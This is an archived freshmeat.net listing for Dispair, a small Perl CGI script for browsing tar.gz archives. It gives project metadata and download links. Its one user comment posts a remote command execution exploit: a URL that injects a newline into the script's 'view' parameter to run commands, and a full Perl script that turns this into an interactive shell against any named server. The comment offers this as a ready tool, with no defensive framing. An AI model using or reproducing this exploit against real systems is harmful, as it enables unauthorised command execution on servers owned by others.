fmII
Fri, Sep 05th home | browse | articles | contact | chat | submit | faq | newsletter | about | stats | scoop 07:37 UTC
in
Section
login «
register «
recover password «
[Project] add release | add branch | add screenshot | broken links | change owner | email subscribers | update project | update branch (urls) [Project]

 Dispair - Default branch
Section: Unix

 

Added: Thu, Jun 22nd 2000 06:30 UTC (8 years, 2 months ago) Updated: Wed, Jul 31st 2002 19:29 UTC (6 years, 1 month ago)


About:
Dispair (DISPlay Archives In Realtime) is a tiny CGI-script written in Perl that lets users browse tar.gz archives.

Author:
Daniel Stenberg [contact developer]

Rating:
(not rated)

Homepage:
http://www.contactor.se/~dast/dispair/
Tar/GZ:
http://www.contactor.se/~dast/dispair/dispair-0.3.tar.gz

Trove categories: [change]
[Development Status]  5 - Production/Stable
[Environment]  Web Environment
[Intended Audience]  Developers, End Users/Desktop
[License]  OSI Approved :: BSD License (original)
[Operating System]  POSIX
[Programming Language]  Perl
[Topic]  Internet :: WWW/HTTP, Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries

Dependencies: [change]
No dependencies filed

 
Project admins: [change]
» Daniel Stenberg (Owner)

» Rating: (not rated)
» Vitality: 0.00% (Rank 24452)
» Popularity: 0.16% (Rank 27979)

project statsdownload stats
(click to enlarge graphs)
   Record hits: 4,108
   URL hits: 707
   Subscribers: 1

Other projects from the same categories:
pyhtmloo
Active Image Viewer
SnapLogic
Camero
Flock

Users who subscribed to this project also subscribed to:
AMaViS "Next Generation"
Exim
DenyHosts
OpenOffice.org
BIE


Add comment · Rate this project · Subscribe to new releases · Ignore this project · Email this project to a friend · Project record in XML

 Branches

Branch Version Last release License URLs
Default 0.3 31-Jul-2002 BSD License (original) Homepage Tar/GZ

 Comments

[»] remote command execution exploit
by Error: user not found. - Jul 30th 2002 16:47:05

http://target/cgi-bin/dispair.cgi?file=fiddle&view=%0A/usr/bin/id

Here is a perl script that provides a shell-like interface:

#!/usr/bin/perl

use strict;
use IO::Socket;

my $target = shift || die "usage: $0 <targetserver>";
my $cmd = '';

while ($cmd ne 'exit') {
print ">> "; $cmd = <STDIN>; chomp $cmd;
$cmd =~ s/ /%20/g;
my $socket = IO::Socket::INET->new(PeerAddr => $target, PeerPort => 'http(80)', Proto => 'tcp');
print $socket "GET /cgi-bin/dispair.cgi?file=fiddle&view=%0A$cmd HTTP/1.0\n";
print $socket "Host: $target\n";
print $socket "USER-AGENT: scriptkiddie\n\n";
while (<$socket>) { last if ($_ =~ m/^\r/); }
while (<$socket>) { print; }
close $socket;
}

[reply] [top]




© Copyright 2008 SourceForge, Inc., All Rights Reserved.
About freshmeat.net •  Privacy Statement •  Terms of Use •  Trademark Guidelines •  Advertise •  Contact Us • 
ThinkGeek •  Slashdot  •  Linux.com •  SourceForge.net  •  Jobs